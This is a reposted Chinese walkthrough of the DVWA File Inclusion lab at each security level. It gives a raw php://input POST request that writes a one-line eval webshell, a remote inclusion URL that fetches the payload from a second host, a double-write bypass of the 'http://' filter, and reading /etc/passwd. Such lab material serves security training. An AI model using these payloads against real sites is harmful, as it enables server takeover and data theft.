DVWA File Inclusion(文件包含)全等级

x33g5p2x  于2022-02-12 转载在 其他  
字(2.0k)|赞(0)|评价(0)|浏览(208)

File Inclusion(文件包含)

前言

本地文件包含:输入相对路径和文件名即可

远程文件包含:输入远程地址,会自动解析php代码

PHP伪协议
file://	——访问本地文件系统
http://	——访问HTTP(s)网址
ftp://	——访问FTP(s)URLs
php://	——访问各个输入输出流(I/O streams)
data://	——数据(RFC 2397)
phar:// ——PHP归档

php://filter(本地磁盘文件进行读取)

php://input

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。

file://(读取文件内容)

data://(读取文件,和php://input类似)

phar://(不管后缀是什么,都会解压缩)

1.Low

get webshell
本地文件包含

构造POST请求包上传文件

POST /vulnerabilities/fi/?page=php://input HTTP/1.1
Host: 192.168.171.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://192.168.171.10
DNT: 1
Connection: close
Referer: http://192.168.171.10/vulnerabilities/fi/?page=include.php
Cookie: PHPSESSID=ncdmp2l6fq938hds1mrrcshvg2; security=low
Upgrade-Insecure-Requests: 1

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>

这个php代码的意思是新建一个shell.php的文件,内容是<?php @eval($_POST[shell])?>');?>,即一句话木马。
用蚁剑连接

可以正常执行命令,获取webshell

有关文件上传的更多知识,请查看:DVWA File Upload(文件上传)

远程文件包含

可以在远程服务器上网站目录上创建以下内容文件,注意后缀名不能设置成.php,不然会被远程服务器解析php代码,而不是靶机解析。

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[shell])?>');?>

然后用靶机网站文件包含打开服务器的文件,写入一句话木马就成功了。

http://192.168.171.10/vulnerabilities/fi/?page=http://192.168.171.2/shell.jpg

2.Medium

http:// , https://等特殊字符过滤掉了。

可以把

http://192.168.171.10/vulnerabilities/fi/?page=http://192.168.171.2/shell.jpg

改成

http://192.168.171.10/vulnerabilities/fi/?page=hthttp://tp://192.168.171.2/shell.jpg

即在http://两边再加上http://即可绕过过滤。

即构造hthttp://tp:,当http://被过滤掉时,剩下的字符自动拼接在一起,就形成了http://

该绕过方法被称为双写绕过

3. High

只能包含file开头的文件

file:// 用来访问本地文件

http:// 用来访问网络中的文件

High级别还是可以访问本地文件。

无法上传一句话木马,但还是可以查看靶机电脑的文件。

Linux 系统中的/etc/passwd文件,是系统用户配置文件,存储了系统中所有用户的基本信息

4.Impossible

比较安全

只能打开file1、file2、file3、include.php,彻底杜绝了文件包含漏洞。

相关文章